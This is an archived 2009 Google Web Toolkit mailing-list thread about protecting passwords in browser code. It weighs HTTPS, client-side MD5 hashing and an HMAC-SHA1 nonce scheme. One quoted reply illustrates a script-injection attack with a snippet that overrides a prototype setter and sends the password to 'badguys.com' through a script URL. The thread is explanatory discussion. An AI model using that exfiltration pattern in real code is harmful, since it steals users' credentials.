My sentiments exactly. Not to mention that it's actually quite easy, if you don't know what you are doing, and make a secure algorithm unsecure by something as simple as choosing the wrong random number generator (& I imagine the random number generator used in Javascript is actually not suitable).
I would always prefer HTTPS over anything I would write because its so reliable and people much smarter than I have verified the particular implementation. On Thu, May 21, 2009 at 11:28 AM, Magius <[email protected]> wrote: > > Security is a very complex and wide world. > It's not the same an application for a blog with basic security > that a back application with a very high security at the browser, > communication and server levels. > > Usually it's enough using a hash D Peters said. > For enterprises, usually I have to use HTTPS to protect the data > interchanged too. > > All depends on the security level that your app requires. > > > On May 20, 3:26 pm, D Peters <[email protected]> wrote: > > Ah.. doing an RSA-type transaction over javascript is tricky, but do- > > able. But do you really need that level of security? Most web-sites > > do not do this -- they merely "hash" the password using one-way > > encryption (MD5). There are plenty of js libraries to do this, and > > all you would need to do in GWT is wrap the "encode" method with a > > JSNI call. A very simple solution offering a basic level of security > > (so passwords don't go in clear text over the wire). > > > > I'm not saying MD5 hashing on the client is great security. You could > > intercept the hashed password and do a rainbow attack to find out what > > the true password is, or hack the application and use the hashed > > password to imitate the user. > > > > It really depends on how secure your site needs to be.. > > > > On May 19, 10:15 pm, Mark Renouf <[email protected]> wrote: > > > > > This is a solved issue, there's many approaches. SSL is the easiest > > > but not always needed, or possible (adds latency and scaling > > > problems). > > > > > We use HmacSHA1 client side with GWT, and find it works well for our > > > needs. HmacSHA1 is simple enough to implement once you get SHA1 > > > working. There's tons of examples out there. I took one that was > > > relatively simple Java sample and adjusted it work with GWT. > > > > > It goes something like this: > > > > > 1. Server sends random token to client (called a NONCE or "Number used > > > once") > > > 2. Client computes HmacSHA1(token, passoword+timestamp) and sends the > > > resulting signature and the timestamp used back to the server. > > > 3. The server performs the same operation and confirms it's computed > > > signature matches the one returned by the client and that the > > > timestamp is within an acceptable time range. If these conditions are > > > met, the client has proven it has the correct password. > > > > > You can protect against replay by only allowing a token to be used > > > once from the same IP address it was sent to. > > > > > You can extend this easily to do more: > > > > > If you do this on every request, and include the URL, query parameters > > > and key headers in the signature you can secure various web service > > > calls. If you compute the MD5 or SHA1 of the body, and include that in > > > the Hmac signature as well, then you've got a message integrity check > > > on the whole request. > > > > > If you need to prevent others from seeing the data of the requests at > > > all, then SSL is your only real option. > > > > > On May 19, 8:10 pm, Vitali Lovich <[email protected]> wrote: > > > > > > First off, good luck trying to disassemble the GWT compiled code - > it's hard > > > > to read even when you know what the original Java code is doing. > > > > > > Nextly, I don't think I understand the problem you are presenting - > it seems > > > > to me that if you have a script-injection exploit in your code, there > is no > > > > way you can code it to protect the user, since the attacking code can > always > > > > modify the original code in whatever way is necessary to send the > password > > > > to the attacker. So whether or not you implement the algorithm in > > > > Javascript or not is irrelevant. An algorithm is a step-by-step > process, > > > > independent of the language used to express it. Security is a > property of > > > > the algorithm/protocol, not the language. > > > > > > Exactly how do you "block" the get & set functions? Also, it's not > like > > > > those functions are standard, so I'm guessing their your equivalent > to the > > > > more common foo & bar. > > > > > > On Tue, May 19, 2009 at 6:48 PM, Alyxandor < > > > > > > [email protected]> wrote: > > > > > > > You can't attack the post-RSA password field, but if there's any > point > > > > > along the way that the password is passed inside javascript, it > might > > > > > be possible for a script-injection attacker to overwrite your > > > > > functions / add getter functions to prototypes and post your > password > > > > > using something like rsa.prototype.set()=function(pass){addHack > > > > > ( '<script > > > > > src="badguys.com?x='+pass+'/<http://badguys.com?x=%27+pass+%27/> > <http://badguys.com?x=%27+pass+%27/>>');...} > > > > > Or such. Of course, > > > > > you sound like a smart guy who would already override such > functions > > > > > to prevent an attack, but not everybody thinks to manually block > get() > > > > > and set(), so having plain-script authentication would let > badguys.com > > > > > know if it's worth trying or not... > > > --~--~---------~--~----~------------~-------~--~----~ You received this message because you are subscribed to the Google Groups "Google Web Toolkit" group. To post to this group, send email to [email protected] To unsubscribe from this group, send email to [email protected] For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~----------~----~----~----~------~----~------~--~---
